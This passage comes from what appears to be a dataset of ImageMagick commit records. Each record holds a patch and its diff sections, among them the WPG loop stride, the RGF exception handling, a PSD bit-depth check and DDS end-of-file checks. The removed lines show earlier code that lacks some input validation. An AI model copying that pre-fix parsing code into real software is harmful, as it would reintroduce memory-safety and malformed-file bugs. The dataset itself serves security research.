\tmutex_unlock(&d->data_mutex);\n \treturn ret;", "related": false}]} +{"owner": "imagemagick", "repo": "imagemagick", "language": "C", "file_name": "coders/wpg.c", "commit_id": "b60d1ed0af37c50b91a40937825b4c61e8458095", "commit_message": "https://github.com/ImageMagick/ImageMagick/issues/102", "patch": "@@ -317,7 +317,7 @@ static void InsertRow(Image *image,unsigned char *p,ssize_t y,int bpp,\n q=QueueAuthenticPixels(image,0,y,image->columns,1,exception);\n if (q == (Quantum *) NULL)\n break;\n- for (x=0; x < ((ssize_t) image->columns-1); x+=2)\n+ for (x=0; x < ((ssize_t) image->columns-1); x+=4)\n {\n index=ConstrainColormapIndex(image,(*p >> 6) & 0x3,exception);\n SetPixelIndex(image,index,q);", "sections": [{"section": "@@ -317,7 +317,7 @@ static void InsertRow(Image *image,unsigned char *p,ssize_t y,int bpp,\n q=QueueAuthenticPixels(image,0,y,image->columns,1,exception);\n if (q == (Quantum *) NULL)\n break;\n- for (x=0; x < ((ssize_t) image->columns-1); x+=2)\n+ for (x=0; x < ((ssize_t) image->columns-1); x+=4)\n {\n index=ConstrainColormapIndex(image,(*p >> 6) & 0x3,exception);\n SetPixelIndex(image,index,q);", "related": false}]} +{"owner": "imagemagick", "repo": "imagemagick", "language": "C", "file_name": "MagickCore/threshold.c", "commit_id": "450bd716ed3b9186dd10f9e60f630a3d9eeea2a4", "commit_message": "", "patch": "@@ -685,19 +685,6 @@ MagickExport MagickBooleanType BlackThresholdImage(Image *image,\n %\n */\n \n-static inline Quantum ClampPixel(const MagickRealType value)\n-{\n-#if !defined(MAGICKCORE_HDRI_SUPPORT)\n- return((Quantum) value);\n-#else\n- if (value < 0.0f)\n- return(0.0);\n- if (value >= (MagickRealType) QuantumRange)\n- return((Quantum) QuantumRange);\n- return(value);\n-#endif\n-}\n-\n MagickExport MagickBooleanType ClampImage(Image *image,ExceptionInfo *exception)\n {\n #define ClampImageTag \"Clamp/Image\"", "sections": [{"section": "@@ -685,19 +685,6 @@ MagickExport MagickBooleanType BlackThresholdImage(Image *image,\n %\n */\n \n-static inline Quantum ClampPixel(const MagickRealType value)\n-{\n-#if !defined(MAGICKCORE_HDRI_SUPPORT)\n- return((Quantum) value);\n-#else\n- if (value < 0.0f)\n- return(0.0);\n- if (value >= (MagickRealType) QuantumRange)\n- return((Quantum) QuantumRange);\n- return(value);\n-#endif\n-}\n-\n MagickExport MagickBooleanType ClampImage(Image *image,ExceptionInfo *exception)\n {\n #define ClampImageTag \"Clamp/Image\"", "related": false}]} +{"owner": "imagemagick", "repo": "imagemagick", "language": "C", "file_name": "coders/rgf.c", "commit_id": "a0108a892f9ea3c2bb1e7a49b7d71376c2ecbff7", "commit_message": "Fix abort when writing to rgf format\n\nThe rgf format (LEGO MINDSTORMS EV3 images) caused a software abort because\nexception == NULL. When WriteRGFImage is called from WriteImage, it is only\npassed two parameters, not three. So, removed the extra parameter and use\nimage->exception instead as in other coders.", "patch": "@@ -68,7 +68,7 @@\n Forward declarations.\n */\n static MagickBooleanType\n- WriteRGFImage(const ImageInfo *,Image *,ExceptionInfo *);\n+ WriteRGFImage(const ImageInfo *,Image *);\n \f\n /*\n %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n@@ -305,7 +305,7 @@ ModuleExport void UnregisterRGFImage(void)\n % The format of the WriteRGFImage method is:\n %\n % MagickBooleanType WriteRGFImage(const ImageInfo *image_info,\n-% Image *image,ExceptionInfo *exception)\n+% Image *image)\n %\n % A description of each parameter follows.\n %\n@@ -316,8 +316,7 @@ ModuleExport void UnregisterRGFImage(void)\n % o exception: return any errors or warnings in this structure.\n %\n */\n-static MagickBooleanType WriteRGFImage(const ImageInfo *image_info,Image *image,\n- ExceptionInfo *exception)\n+static MagickBooleanType WriteRGFImage(const ImageInfo *image_info,Image *image)\n {\n MagickBooleanType\n status;\n@@ -346,9 +345,7 @@ static MagickBooleanType WriteRGFImage(const ImageInfo *image_info,Image *image,\n assert(image->signature == MagickSignature);\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(TraceEvent,GetMagickModule(),\"%s\",image->filename);\n- assert(exception != (ExceptionInfo *) NULL);\n- assert(exception->signature == MagickSignature);\n- status=OpenBlob(image_info,image,WriteBinaryBlobMode,exception);\n+ status=OpenBlob(image_info,image,WriteBinaryBlobMode,&image->exception);\n if (status == MagickFalse)\n return(status);\n (void) TransformImageColorspace(image,sRGBColorspace);\n@@ -367,7 +364,7 @@ static MagickBooleanType WriteRGFImage(const ImageInfo *image_info,Image *image,\n y=0;\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n- p=GetVirtualPixels(image,0,y,image->columns,1,exception);\n+ p=GetVirtualPixels(image,0,y,image->columns,1,&image->exception);\n if (p == (const PixelPacket *) NULL)\n break;\n bit=0;", "sections": [{"section": "@@ -68,7 +68,7 @@\n Forward declarations.\n */\n static MagickBooleanType\n- WriteRGFImage(const ImageInfo *,Image *,ExceptionInfo *);\n+ WriteRGFImage(const ImageInfo *,Image *);\n \f\n /*\n %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n", "related": false}, {"section": "@@ -305,7 +305,7 @@ ModuleExport void UnregisterRGFImage(void)\n % The format of the WriteRGFImage method is:\n %\n % MagickBooleanType WriteRGFImage(const ImageInfo *image_info,\n-% Image *image,ExceptionInfo *exception)\n+% Image *image)\n %\n % A description of each parameter follows.\n %\n", "related": false}, {"section": "@@ -316,8 +316,7 @@ ModuleExport void UnregisterRGFImage(void)\n % o exception: return any errors or warnings in this structure.\n %\n */\n-static MagickBooleanType WriteRGFImage(const ImageInfo *image_info,Image *image,\n- ExceptionInfo *exception)\n+static MagickBooleanType WriteRGFImage(const ImageInfo *image_info,Image *image)\n {\n MagickBooleanType\n status;\n", "related": false}, {"section": "@@ -346,9 +345,7 @@ static MagickBooleanType WriteRGFImage(const ImageInfo *image_info,Image *image,\n assert(image->signature == MagickSignature);\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(TraceEvent,GetMagickModule(),\"%s\",image->filename);\n- assert(exception != (ExceptionInfo *) NULL);\n- assert(exception->signature == MagickSignature);\n- status=OpenBlob(image_info,image,WriteBinaryBlobMode,exception);\n+ status=OpenBlob(image_info,image,WriteBinaryBlobMode,&image->exception);\n if (status == MagickFalse)\n return(status);\n (void) TransformImageColorspace(image,sRGBColorspace);\n", "related": false}, {"section": "@@ -367,7 +364,7 @@ static MagickBooleanType WriteRGFImage(const ImageInfo *image_info,Image *image,\n y=0;\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n- p=GetVirtualPixels(image,0,y,image->columns,1,exception);\n+ p=GetVirtualPixels(image,0,y,image->columns,1,&image->exception);\n if (p == (const PixelPacket *) NULL)\n break;\n bit=0;", "related": false}]} +{"owner": "imagemagick", "repo": "imagemagick", "language": "C", "file_name": "coders/psd.c", "commit_id": "198fffab4daf8aea88badd9c629350e5b26ec32f", "commit_message": "Added check for bit depth 1.", "patch": "@@ -1908,6 +1908,8 @@ static Image *ReadPSDImage(const ImageInfo *image_info,ExceptionInfo *exception)\n image->alpha_trait=UndefinedPixelTrait;\n }\n }\n+ if ((image->depth == 1) && (image->storage_class != PseudoClass))\n+ ThrowReaderException(CorruptImageError, \"ImproperImageHeader\");\n has_merged_image=MagickTrue;\n length=ReadBlobMSBLong(image);\n if (length != 0)", "sections": [{"section": "@@ -1908,6 +1908,8 @@ static Image *ReadPSDImage(const ImageInfo *image_info,ExceptionInfo *exception)\n image->alpha_trait=UndefinedPixelTrait;\n }\n }\n+ if ((image->depth == 1) && (image->storage_class != PseudoClass))\n+ ThrowReaderException(CorruptImageError, \"ImproperImageHeader\");\n has_merged_image=MagickTrue;\n length=ReadBlobMSBLong(image);\n if (length != 0)", "related": false}]} +{"owner": "imagemagick", "repo": "imagemagick", "language": "C", "file_name": "coders/dds.c", "commit_id": "d7325bac173492b358417a0ad49fabad44447d52", "commit_message": "Added extra EOF check and some minor refactoring.", "patch": "@@ -726,9 +726,9 @@ static const DDSSingleColourLookup*\n if (min > max) \\\n min = max; \\\n if (max - min < steps) \\\n- max = Min(min + steps, 255); \\\n+ max = MagickMin(min + steps, 255); \\\n if (max - min < steps) \\\n- min = Max(min - steps, 0)\n+ min = MagickMax(min - steps, 0)\n \n #define Dot(left, right) (left.x*right.x) + (left.y*right.y) + (left.z*right.z)\n \n@@ -743,90 +743,30 @@ if (max - min < steps) \\\n Forward declarations\n */\n static MagickBooleanType\n- ConstructOrdering(const size_t, const DDSVector4 *, const DDSVector3,\n- DDSVector4 *, DDSVector4 *, unsigned char *, size_t);\n-\n-static MagickBooleanType\n- ReadDDSInfo(Image *, DDSInfo *);\n-\n-static MagickBooleanType\n- ReadDXT1(Image *, DDSInfo *, ExceptionInfo *);\n-\n-static MagickBooleanType\n- ReadDXT3(Image *, DDSInfo *, ExceptionInfo *);\n-\n-static MagickBooleanType\n- ReadDXT5(Image *, DDSInfo *, ExceptionInfo *);\n-\n-static MagickBooleanType\n- ReadUncompressedRGB(Image *, DDSInfo *, ExceptionInfo *);\n-\n-static MagickBooleanType\n- ReadUncompressedRGBA(Image *, DDSInfo *, ExceptionInfo *);\n-\n-static void\n- RemapIndices(const ssize_t *, const unsigned char *, unsigned char *);\n-\n-static void\n- SkipDXTMipmaps(Image *, DDSInfo *, int);\n-\n-static void\n- SkipRGBMipmaps(Image *, DDSInfo *, int);\n-\n-static\n- MagickBooleanType WriteDDSImage(const ImageInfo *, Image *);\n-\n-static void\n- WriteDDSInfo(Image *, const size_t, const size_t, const size_t);\n-\n-static void\n- WriteFourCC(Image *, const size_t, const MagickBooleanType,\n- const MagickBooleanType, ExceptionInfo *);\n+ ConstructOrdering(const size_t,const DDSVector4 *,const DDSVector3,\n+ DDSVector4 *,DDSVector4 *,unsigned char *,size_t),\n+ ReadDDSInfo(Image *,DDSInfo *),\n+ ReadDXT1(Image *,DDSInfo *,ExceptionInfo *),\n+ ReadDXT3(Image *,DDSInfo *,ExceptionInfo *),\n+ ReadDXT5(Image *,DDSInfo *,ExceptionInfo *),\n+ ReadUncompressedRGB(Image *,DDSInfo *,ExceptionInfo *),\n+ ReadUncompressedRGBA(Image *,DDSInfo *,ExceptionInfo *),\n+ SkipDXTMipmaps(Image *,DDSInfo *,int,ExceptionInfo *),\n+ SkipRGBMipmaps(Image *,DDSInfo *,int,ExceptionInfo *),\n+ WriteDDSImage(const ImageInfo *,Image *),\n+ WriteMipmaps(Image *,const size_t,const size_t,const size_t,\n+ const MagickBooleanType,const MagickBooleanType,ExceptionInfo *);\n \n static void\n- WriteImageData(Image *, const size_t, const size_t, const MagickBooleanType,\n- const MagickBooleanType, ExceptionInfo *);\n-\n-static void\n- WriteIndices(Image *, const DDSVector3, const DDSVector3, unsigned char *);\n-\n-static MagickBooleanType\n- WriteMipmaps(Image *, const size_t, const size_t, const size_t,\n- const MagickBooleanType, const MagickBooleanType, ExceptionInfo *);\n-\n-static void\n- WriteSingleColorFit(Image *, const DDSVector4 *, const ssize_t *);\n-\n-static void\n- WriteUncompressed(Image *, ExceptionInfo *);\n-\n-static inline size_t Max(size_t one, size_t two)\n-{\n- if (one > two)\n- return one;\n- return two;\n-}\n-\n-static inline float MaxF(float one, float two)\n-{\n- if (one > two)\n- return one;\n- return two;\n-}\n-\n-static inline size_t Min(size_t one, size_t two)\n-{\n- if (one < two)\n- return one;\n- return two;\n-}\n-\n-static inline float MinF(float one, float two)\n-{\n- if (one < two)\n- return one;\n- return two;\n-}\n+ RemapIndices(const ssize_t *,const unsigned char *,unsigned char *),\n+ WriteDDSInfo(Image *,const size_t,const size_t,const size_t),\n+ WriteFourCC(Image *,const size_t,const MagickBooleanType,\n+ const MagickBooleanType,ExceptionInfo *),\n+ WriteImageData(Image *,const size_t,const size_t,const MagickBooleanType,\n+ const MagickBooleanType,ExceptionInfo *),\n+ WriteIndices(Image *,const DDSVector3,const DDSVector3, unsigned char *),\n+ WriteSingleColorFit(Image *,const DDSVector4 *,const ssize_t *),\n+ WriteUncompressed(Image *,ExceptionInfo *);\n \n static inline void VectorAdd(const DDSVector4 left, const DDSVector4 right,\n DDSVector4 *destination)\n@@ -839,17 +779,17 @@ static inline void VectorAdd(const DDSVector4 left, const DDSVector4 right,\n \n static inline void VectorClamp(DDSVector4 *value)\n {\n- value->x = MinF(1.0f,MaxF(0.0f,value->x));\n- value->y = MinF(1.0f,MaxF(0.0f,value->y));\n- value->z = MinF(1.0f,MaxF(0.0f,value->z));\n- value->w = MinF(1.0f,MaxF(0.0f,value->w));\n+ value->x = MagickMin(1.0f,MagickMax(0.0f,value->x));\n+ value->y = MagickMin(1.0f,MagickMax(0.0f,value->y));\n+ value->z = MagickMin(1.0f,MagickMax(0.0f,value->z));\n+ value->w = MagickMin(1.0f,MagickMax(0.0f,value->w));\n }\n \n static inline void VectorClamp3(DDSVector3 *value)\n {\n- value->x = MinF(1.0f,MaxF(0.0f,value->x));\n- value->y = MinF(1.0f,MaxF(0.0f,value->y));\n- value->z = MinF(1.0f,MaxF(0.0f,value->z));\n+ value->x = MagickMin(1.0f,MagickMax(0.0f,value->x));\n+ value->y = MagickMin(1.0f,MagickMax(0.0f,value->y));\n+ value->z = MagickMin(1.0f,MagickMax(0.0f,value->z));\n }\n \n static inline void VectorCopy43(const DDSVector4 source,\n@@ -1474,7 +1414,7 @@ static void ComputePrincipleComponent(const float *covariance,\n w.z = (row2.z * v.z) + w.z;\n w.w = (row2.w * v.z) + w.w;\n \n- a = 1.0f / MaxF(w.x,MaxF(w.y,w.z));\n+ a = 1.0f / MagickMax(w.x,MagickMax(w.y,w.z));\n \n v.x = w.x * a;\n v.y = w.y * a;\n@@ -1961,8 +1901,8 @@ static MagickBooleanType ReadDXT1(Image *image, DDSInfo *dds_info,\n for (x = 0; x < (ssize_t) dds_info->width; x += 4)\n {\n /* Get 4x4 patch of pixels to write on */\n- q = QueueAuthenticPixels(image, x, y, Min(4, dds_info->width - x),\n- Min(4, dds_info->height - y),exception);\n+ q = QueueAuthenticPixels(image, x, y, MagickMin(4, dds_info->width - x),\n+ MagickMin(4, dds_info->height - y),exception);\n \n if (q == (PixelPacket *) NULL)\n return MagickFalse;\n@@ -1999,9 +1939,7 @@ static MagickBooleanType ReadDXT1(Image *image, DDSInfo *dds_info,\n }\n }\n \n- SkipDXTMipmaps(image, dds_info, 8);\n-\n- return MagickTrue;\n+ return(SkipDXTMipmaps(image,dds_info,8,exception));\n }\n \n static MagickBooleanType ReadDXT3(Image *image, DDSInfo *dds_info,\n@@ -2039,8 +1977,8 @@ static MagickBooleanType ReadDXT3(Image *image, DDSInfo *dds_info,\n for (x = 0; x < (ssize_t) dds_info->width; x += 4)\n {\n /* Get 4x4 patch of pixels to write on */\n- q = QueueAuthenticPixels(image, x, y, Min(4, dds_info->width - x),\n- Min(4, dds_info->height - y),exception);\n+ q = QueueAuthenticPixels(image, x, y, MagickMin(4, dds_info->width - x),\n+ MagickMin(4, dds_info->height - y),exception);\n \n if (q == (PixelPacket *) NULL)\n return MagickFalse;\n@@ -2086,9 +2024,7 @@ static MagickBooleanType ReadDXT3(Image *image, DDSInfo *dds_info,\n }\n }\n \n- SkipDXTMipmaps(image, dds_info, 16);\n-\n- return MagickTrue;\n+ return(SkipDXTMipmaps(image,dds_info,16,exception));\n }\n \n static MagickBooleanType ReadDXT5(Image *image, DDSInfo *dds_info,\n@@ -2130,8 +2066,8 @@ static MagickBooleanType ReadDXT5(Image *image, DDSInfo *dds_info,\n for (x = 0; x < (ssize_t) dds_info->width; x += 4)\n {\n /* Get 4x4 patch of pixels to write on */\n- q = QueueAuthenticPixels(image, x, y, Min(4, dds_info->width - x),\n- Min(4, dds_info->height - y),exception);\n+ q = QueueAuthenticPixels(image, x, y, MagickMin(4, dds_info->width - x),\n+ MagickMin(4, dds_info->height - y),exception);\n \n if (q == (PixelPacket *) NULL)\n return MagickFalse;\n@@ -2187,9 +2123,7 @@ static MagickBooleanType ReadDXT5(Image *image, DDSInfo *dds_info,\n }\n }\n \n- SkipDXTMipmaps(image, dds_info, 16);\n-\n- return MagickTrue;\n+ return(SkipDXTMipmaps(image,dds_info,16,exception));\n }\n \n static MagickBooleanType ReadUncompressedRGB(Image *image, DDSInfo *dds_info,\n@@ -2251,9 +2185,7 @@ static MagickBooleanType ReadUncompressedRGB(Image *image, DDSInfo *dds_info,\n return MagickFalse;\n }\n \n- SkipRGBMipmaps(image, dds_info, 3);\n-\n- return MagickTrue;\n+ return(SkipRGBMipmaps(image,dds_info,3,exception));\n }\n \n static MagickBooleanType ReadUncompressedRGBA(Image *image, DDSInfo *dds_info,\n@@ -2345,9 +2277,7 @@ static MagickBooleanType ReadUncompressedRGBA(Image *image, DDSInfo *dds_info,\n return MagickFalse;\n }\n \n- SkipRGBMipmaps(image, dds_info, 4);\n-\n- return MagickTrue;\n+ return(SkipRGBMipmaps(image,dds_info,4,exception));\n }\n \f\n /*\n@@ -2423,7 +2353,8 @@ static void RemapIndices(const ssize_t *map, const unsigned char *source,\n /*\n Skip the mipmap images for compressed (DXTn) dds files\n */\n-static void SkipDXTMipmaps(Image *image, DDSInfo *dds_info, int texel_size)\n+static MagickBooleanType SkipDXTMipmaps(Image *image,DDSInfo *dds_info,\n+ int texel_size,ExceptionInfo *exception)\n {\n register ssize_t\n i;\n@@ -2442,6 +2373,12 @@ static void SkipDXTMipmaps(Image *image, DDSInfo *dds_info, int texel_size)\n && (dds_info->ddscaps1 & DDSCAPS_TEXTURE\n || dds_info->ddscaps2 & DDSCAPS2_CUBEMAP))\n {\n+ if (EOFBlob(image) != MagickFalse)\n+ {\n+ ThrowFileException(exception,CorruptImageError,\"UnexpectedEndOfFile\",\n+ image->filename);\n+ return(MagickFalse);\n+ }\n w = DIV2(dds_info->width);\n h = DIV2(dds_info->height);\n \n@@ -2457,12 +2394,14 @@ static void SkipDXTMipmaps(Image *image, DDSInfo *dds_info, int texel_size)\n h = DIV2(h);\n }\n }\n+ return(MagickTrue);\n }\n \n /*\n Skip the mipmap images for uncompressed (RGB or RGBA) dds files\n */\n-static void SkipRGBMipmaps(Image *image, DDSInfo *dds_info, int pixel_size)\n+static MagickBooleanType SkipRGBMipmaps(Image *image,DDSInfo *dds_info,\n+ int pixel_size,ExceptionInfo *exception)\n {\n MagickOffsetType\n offset;\n@@ -2481,6 +2420,12 @@ static void SkipRGBMipmaps(Image *image, DDSInfo *dds_info, int pixel_size)\n && (dds_info->ddscaps1 & DDSCAPS_TEXTURE\n || dds_info->ddscaps2 & DDSCAPS2_CUBEMAP))\n {\n+ if (EOFBlob(image) != MagickFalse)\n+ {\n+ ThrowFileException(exception,CorruptImageError,\"UnexpectedEndOfFile\",\n+ image->filename);\n+ return(MagickFalse);\n+ }\n w = DIV2(dds_info->width);\n h = DIV2(dds_info->height);\n \n@@ -2496,6 +2441,7 @@ static void SkipRGBMipmaps(Image *image, DDSInfo *dds_info, int pixel_size)\n h = DIV2(h);\n }\n }\n+ return(MagickTrue);\n }\n \n /*\n@@ -2779,10 +2725,10 @@ static void WriteDDSInfo(Image *image, const size_t pixelFormat,\n \n if (compression == FOURCC_DXT1)\n (void) WriteBlobLSBLong(image,\n- (unsigned int) (Max(1,(image->columns+3)/4) * 8));\n+ (unsigned int) (MagickMax(1,(image->columns+3)/4) * 8));\n else\n (void) WriteBlobLSBLong(image,\n- (unsigned int) (Max(1,(image->columns+3)/4) * 16));\n+ (unsigned int) (MagickMax(1,(image->columns+3)/4) * 16));\n \n (void) WriteBlobLSBLong(image,0x00);\n (void) WriteBlobLSBLong(image,(unsigned int) mipmaps+1);", "sections": [{"section": "@@ -726,9 +726,9 @@ static const DDSSingleColourLookup*\n if (min > max) \\\n min = max; \\\n if (max - min < steps) \\\n- max = Min(min + steps, 255); \\\n+ max = MagickMin(min + steps, 255); \\\n if (max - min < steps) \\\n- min = Max(min - steps, 0)\n+ min = MagickMax(min - steps, 0)\n \n #define Dot(left, right) (left.x*right.x) + (left.y*right.y) + (left.z*right.z)\n \n", "related": false}, {"section": "@@ -743,90 +743,30 @@ if (max - min < steps) \\\n Forward declarations\n */\n static MagickBooleanType\n- ConstructOrdering(const size_t, const DDSVector4 *, const DDSVector3,\n- DDSVector4 *, DDSVector4 *, unsigned char *, size_t);\n-\n-static MagickBooleanType\n- ReadDDSInfo(Image *, DDSInfo *);\n-\n-static MagickBooleanType\n- ReadDXT1(Image *, DDSInfo *, ExceptionInfo *);\n-\n-static MagickBooleanType\n- ReadDXT3(Image *, DDSInfo *, ExceptionInfo *);\n-\n-static MagickBooleanType\n- ReadDXT5(Image *, DDSInfo *, ExceptionInfo *);\n-\n-static MagickBooleanType\n- ReadUncompressedRGB(Image *, DDSInfo *, ExceptionInfo *);\n-\n-static MagickBooleanType\n- ReadUncompressedRGBA(Image *, DDSInfo *, ExceptionInfo *);\n-\n-static void\n- RemapIndices(const ssize_t *, const unsigned char *, unsigned char *);\n-\n-static void\n- SkipDXTMipmaps(Image *, DDSInfo *, int);\n-\n-static void\n- SkipRGBMipmaps(Image *, DDSInfo *, int);\n-\n-static\n- MagickBooleanType WriteDDSImage(const ImageInfo *, Image *);\n-\n-static void\n- WriteDDSInfo(Image *, const size_t, const size_t, const size_t);\n-\n-static void\n- WriteFourCC(Image *, const size_t, const MagickBooleanType,\n- const MagickBooleanType, ExceptionInfo *);\n+ ConstructOrdering(const size_t,const DDSVector4 *,const DDSVector3,\n+ DDSVector4 *,DDSVector4 *,unsigned char *,size_t),\n+ ReadDDSInfo(Image *,DDSInfo *),\n+ ReadDXT1(Image *,DDSInfo *,ExceptionInfo *),\n+ ReadDXT3(Image *,DDSInfo *,ExceptionInfo *),\n+ ReadDXT5(Image *,DDSInfo *,ExceptionInfo *),\n+ ReadUncompressedRGB(Image *,DDSInfo *,ExceptionInfo *),\n+ ReadUncompressedRGBA(Image *,DDSInfo *,ExceptionInfo *),\n+ SkipDXTMipmaps(Image *,DDSInfo *,int,ExceptionInfo *),\n+ SkipRGBMipmaps(Image *,DDSInfo *,int,ExceptionInfo *),\n+ WriteDDSImage(const ImageInfo *,Image *),\n+ WriteMipmaps(Image *,const size_t,const size_t,const size_t,\n+ const MagickBooleanType,const MagickBooleanType,ExceptionInfo *);\n \n static void\n- WriteImageData(Image *, const size_t, const size_t, const MagickBooleanType,\n- const MagickBooleanType, ExceptionInfo *);\n-\n-static void\n- WriteIndices(Image *, const DDSVector3, const DDSVector3, unsigned char *);\n-\n-static MagickBooleanType\n- WriteMipmaps(Image *, const size_t, const size_t, const size_t,\n- const MagickBooleanType, const MagickBooleanType, ExceptionInfo *);\n-\n-static void\n- WriteSingleColorFit(Image *, const DDSVector4 *, const ssize_t *);\n-\n-static void\n- WriteUncompressed(Image *, ExceptionInfo *);\n-\n-static inline size_t Max(size_t one, size_t two)\n-{\n- if (one > two)\n- return one;\n- return two;\n-}\n-\n-static inline float MaxF(float one, float two)\n-{\n- if (one > two)\n- return one;\n- return two;\n-}\n-\n-static inline size_t Min(size_t one, size_t two)\n-{\n- if (one < two)\n- return one;\n- return two;\n-}\n-\n-static inline float MinF(float one, float two)\n-{\n- if (one < two)\n- return one;\n- return two;\n-}\n+ RemapIndices(const ssize_t *,const unsigned char *,unsigned char *),\n+ WriteDDSInfo(Image *,const size_t,const size_t,const size_t),\n+ WriteFourCC(Image *,const size_t,const MagickBooleanType,\n+ const MagickBooleanType,ExceptionInfo *),\n+ WriteImageData(Image *,const size_t,const size_t,const MagickBooleanType,\n+ const MagickBooleanType,ExceptionInfo *),\n+ WriteIndices(Image *,const DDSVector3,const DDSVector3, unsigned char *),\n+ WriteSingleColorFit(Image *,const DDSVector4 *,const ssize_t *),\n+ WriteUncompressed(Image *,ExceptionInfo *);\n \n static inline void VectorAdd(const DDSVector4 left, const DDSVector4 right,\n DDSVector4 *destination)\n", "related": false}, {"section": "@@ -839,17 +779,17 @@ static inline void VectorAdd(const DDSVector4 left, const DDSVector4 right,\n \n static inline void VectorClamp(DDSVector4 *value)\n {\n- value->x = MinF(1.0f,MaxF(0.0f,value->x));\n- value->y = MinF(1.0f,MaxF(0.0f,value->y));\n- value->z = MinF(1.0f,MaxF(0.0f,value->z));\n- value->w = MinF(1.0f,MaxF(0.0f,value->w));\n+ value->x = MagickMin(1.0f,MagickMax(0.0f,value->x));\n+ value->y = MagickMin(1.0f,MagickMax(0.0f,value->y));\n+ value->z = MagickMin(1.0f,MagickMax(0.0f,value->z));\n+ value->w = MagickMin(1.0f,MagickMax(0.0f,value->w));\n }\n \n static inline void VectorClamp3(DDSVector3 *value)\n {\n- value->x = MinF(1.0f,MaxF(0.0f,value->x));\n- value->y = MinF(1.0f,MaxF(0.0f,value->y));\n- value->z = MinF(1.0f,MaxF(0.0f,value->z));\n+ value->x = MagickMin(1.0f,MagickMax(0.0f,value->x));\n+ value->y = MagickMin(1.0f,MagickMax(0.0f,value->y));\n+ value->z = MagickMin(1.0f,MagickMax(0.0f,value->z));\n }\n \n static inline void VectorCopy43(const DDSVector4 source,\n", "related": false}, {"section": "@@ -1474,7 +1414,7 @@ static void ComputePrincipleComponent(const float *covariance,\n w.z = (row2.z * v.z) + w.z;\n w.w = (row2.w * v.z) + w.w;\n \n- a = 1.0f / MaxF(w.x,MaxF(w.y,w.z));\n+ a = 1.0f / MagickMax(w.x,MagickMax(w.y,w.z));\n \n v.x = w.x * a;\n v.y = w.y * a;\n", "related": false}, {"section": "@@ -1961,8 +1901,8 @@ static MagickBooleanType ReadDXT1(Image *image, DDSInfo *dds_info,\n for (x = 0; x < (ssize_t) dds_info->width; x += 4)\n {\n /* Get 4x4 patch of pixels to write on */\n- q = QueueAuthenticPixels(image, x, y, Min(4, dds_info->width - x),\n- Min(4, dds_info->height - y),exception);\n+ q = QueueAuthenticPixels(image, x, y, MagickMin(4, dds_info->width - x),\n+ MagickMin(4, dds_info->height - y),exception);\n \n if (q == (PixelPacket *) NULL)\n return MagickFalse;\n", "related": false}, {"section": "@@ -1999,9 +1939,7 @@ static MagickBooleanType ReadDXT1(Image *image, DDSInfo *dds_info,\n }\n }\n \n- SkipDXTMipmaps(image, dds_info, 8);\n-\n- return MagickTrue;\n+ return(SkipDXTMipmaps(image,dds_info,8,exception));\n }\n \n static MagickBooleanType ReadDXT3(Image *image, DDSInfo *dds_info,\n", "related": false}, {"section": "@@ -2039,8 +1977,8 @@ static MagickBooleanType ReadDXT3(Image *image, DDSInfo *dds_info,\n for (x = 0; x < (ssize_t) dds_info->width; x += 4)\n {\n /* Get 4x4 patch of pixels to write on */\n- q = QueueAuthenticPixels(image, x, y, Min(4, dds_info->width - x),\n- Min(4, dds_info->height - y),exception);\n+ q = QueueAuthenticPixels(image, x, y, MagickMin(4, dds_info->width - x),\n+ MagickMin(4, dds_info->height - y),exception);\n \n if (q == (PixelPacket *) NULL)\n return MagickFalse;\n", "related": false}, {"section": "@@ -2086,9 +2024,7 @@ static MagickBooleanType ReadDXT3(Image *image, DDSInfo *dds_info,\n }\n }\n \n- SkipDXTMipmaps(image, dds_info, 16);\n-\n- return MagickTrue;\n+ return(SkipDXTMipmaps(image,dds_info,16,exception));\n }\n \n static MagickBooleanType ReadDXT5(Image *image, DDSInfo *dds_info,\n", "related": false}, {"section": "@@ -2130,8 +2066,8 @@ static MagickBooleanType ReadDXT5(Image *image, DDSInfo *dds_info,\n for (x = 0; x < (ssize_t) dds_info->width; x += 4)\n {\n /* Get 4x4 patch of pixels to write on */\n- q = QueueAuthenticPixels(image, x, y, Min(4, dds_info->width - x),\n- Min(4, dds_info->height - y),exception);\n+ q = QueueAuthenticPixels(image, x, y, MagickMin(4, dds_info->width - x),\n+ MagickMin(4, dds_info->height - y),exception);\n \n if (q == (PixelPacket *) NULL)\n return MagickFalse;\n", "related": false}, {"section": "@@ -2187,9 +2123,7 @@ static MagickBooleanType ReadDXT5(Image *image, DDSInfo *dds_info,\n }\n }\n \n- SkipDXTMipmaps(image, dds_info, 16);\n-\n- return MagickTrue;\n+ return(SkipDXTMipmaps(image,dds_info,16,exception));\n }\n \n static MagickBooleanType ReadUncompressedRGB(Image *image, DDSInfo *dds_info,\n", "related": false}, {"section": "@@ -2251,9 +2185,7 @@ static MagickBooleanType ReadUncompressedRGB(Image *image, DDSInfo *dds_info,\n return MagickFalse;\n }\n \n- SkipRGBMipmaps(image, dds_info, 3);\n-\n- return MagickTrue;\n+ return(SkipRGBMipmaps(image,dds_info,3,exception));\n }\n \n static MagickBooleanType ReadUncompressedRGBA(Image *image, DDSInfo *dds_info,\n", "related": false}, {"section": "@@ -2345,9 +2277,7 @@ static MagickBooleanType ReadUncompressedRGBA(Image *image, DDSInfo *dds_info,\n return MagickFalse;\n }\n \n- SkipRGBMipmaps(image, dds_info, 4);\n-\n- return MagickTrue;\n+ return(SkipRGBMipmaps(image,dds_info,4,exception));\n }\n \f\n /*\n", "related": false}, {"section": "@@ -2423,7 +2353,8 @@ static void RemapIndices(const ssize_t *map, const unsigned char *source,\n /*\n Skip the mipmap images for compressed (DXTn) dds files\n */\n-static void SkipDXTMipmaps(Image *image, DDSInfo *dds_info, int texel_size)\n+static MagickBooleanType SkipDXTMipmaps(Image *image,DDSInfo *dds_info,\n+ int texel_size,ExceptionInfo *exception)\n {\n register ssize_t\n i;\n", "related": false}, {"section": "@@ -2442,6 +2373,12 @@ static void SkipDXTMipmaps(Image *image, DDSInfo *dds_info, int texel_size)\n && (dds_info->ddscaps1 & DDSCAPS_TEXTURE\n || dds_info->ddscaps2 & DDSCAPS2_CUBEMAP))\n {\n+ if (EOFBlob(image) != 